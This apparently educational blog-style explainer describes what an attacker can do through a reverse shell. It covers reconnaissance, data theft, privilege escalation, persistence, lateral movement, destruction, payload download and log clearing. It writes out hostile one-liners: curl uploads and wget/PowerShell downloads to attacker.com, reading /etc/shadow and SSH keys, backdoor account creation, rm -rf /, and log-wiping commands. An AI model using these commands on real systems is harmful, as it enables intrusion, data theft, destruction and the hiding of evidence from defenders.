What Can a Hacker Do with a Reverse Shell?
When the reverse shell connects back to the attacker, it’s like they’ve got a remote terminal open on the target machine—think of it as a backdoor with a command-line interface. Whether it’s Linux, Windows, or macOS, the possibilities are vast. Here’s what they can do once they’re in:
1. Reconnaissance: Learn About the System
The first step is often gathering intel to plan their next move:
- Who’s Logged In: Commands like whoami (Linux/macOS) or whoami (Windows) reveal the current user.
- System Details: uname -a (Linux/macOS) or systeminfo (Windows) spills the OS version, hostname, and hardware info.
- Network Info: ifconfig/ip addr (Linux/macOS) or ipconfig (Windows) shows IP addresses, while netstat -an lists open ports and connections.
- File Exploration: ls -la (Linux/macOS, with dir on Windows) lets them browse directories and spot juicy files.
With this, they map out the system and network, identifying vulnerabilities or valuable data.
2. Steal Data
If the goal is theft, they’ve got plenty of options:
- Copy Files: They can read sensitive files (cat /etc/passwd on Linux, type secret.txt on Windows) and send contents back over the shell.
- Exfiltrate Data: Using tools like curl or powershell -c Invoke-WebRequest, they can upload files to their server (e.g., curl -F “file=@/home/user/secrets.txt” http://attacker.com/upload).
- Dump Credentials: On Linux, they might grab /etc/shadow (password hashes); on Windows, they could use net user or tools like Mimikatz (if escalated) to extract creds.
Anything from personal documents to corporate secrets is fair game if permissions allow.
3. Escalate Privileges
If they’re stuck as a low-privilege user, they’ll try to climb the ladder:
- Exploit Misconfigurations: On Linux, sudo -l shows what commands they can run as root; on Windows, net localgroup administrators checks group membership.
- Kernel Exploits: They might run a local privilege escalation exploit (e.g., Dirty COW on Linux or a Windows UAC bypass) if the system’s unpatched.
- Steal Tokens: On Windows, they could use PowerShell to impersonate a higher-privileged process if they get lucky.
With root or admin access, their control becomes near-total.
4. Persistence: Stay in the System
To keep access, they’ll dig in:
- Add Users: useradd backdoor (Linux) or net user hacker pass123 /add (Windows) creates a new account.
- Cron Jobs/Scheduled Tasks: On Linux, they might edit /etc/crontab to rerun the shell; on Windows, schtasks /create sets up a persistent task.
- Modify Startup: Adding a script to ~/.bashrc (Linux) or the Windows Registry (e.g., HKLM\Software\Microsoft\Windows\CurrentVersion\Run) ensures they return on reboot.
Now, even if the connection drops, they’ve got a way back.
5. Lateral Movement: Spread to Other Systems
If the target’s on a network, they’ll expand:
- Scan the Network: arp -a or ping sweeps find other devices; tools like nmap (if installed) map the network.
- Steal SSH Keys/Creds: On Linux, they grab ~/.ssh/id_rsa; on Windows, they might dump cached domain credentials.
- Pivot: Using the shell, they connect to other machines (e.g., ssh [email protected] or net use \\other-pc\share).
A single compromised machine becomes a springboard to the whole network.
6. Cause Damage
If destruction’s the aim, they can wreak havoc:
- Delete Files: rm -rf / (Linux, with root) or del /f /q * (Windows) wipes data.
- Kill Processes: kill -9 (Linux) or taskkill /F /IM notepad.exe (Windows) stops critical services.
- Ransomware: They might encrypt files (e.g., with a script or tool) and demand payment.
The damage scales with their access level.
7. Install Malware or Tools
To extend their capabilities:
- Download Tools: wget http://attacker.com/malware.sh (Linux) or powershell -c iwr -uri http://attacker.com/tool.exe -outfile tool.exe (Windows) pulls in more payloads.
- Backdoors: They might install a rootkit or trojan to hide their presence.
- Botnet Recruitment: The system could join a botnet for DDoS attacks or crypto mining.
The shell becomes a delivery system for worse threats.
8. Cover Tracks
Smart hackers clean up:
- Clear Logs: echo “” > /var/log/auth.log (Linux) or wevtutil cl Security (Windows) erases evidence.
- Kill Traces: They terminate their own processes or rename files to blend in.
- Fake Activity: Running benign commands (e.g., ls or dir) masks their real actions.
This keeps them stealthy for longer.
Limits and Risks
- Permissions: They’re capped by the user context they’re in—root/admin unlocks everything, but a guest account limits them.
- Detection: Firewalls, antivirus, or sysadmins might spot the outbound traffic or suspicious commands.
- Connection Loss: If the network drops or the process dies, they’re out—unless they’ve set persistence.
Real-World Impact
- Linux Server: An attacker might mine crypto, steal database creds, or pivot to a corporate network.
- Windows PC: They could deploy ransomware, harvest banking details, or escalate to domain admin.
- macOS Laptop: They might grab iCloud keys, personal files, or use it as a quiet staging point.
What Happens Next?
Once the reverse shell’s live, the hacker’s in the driver’s seat. They can snoop (e.g., whoami), steal (e.g., cat /etc/passwd), or escalate (e.g., exploit a kernel flaw). On my test VM, I ran a simple Linux shell and pulled /etc/hostname—instant proof of control. It’s chilling how much power a single connection hands over!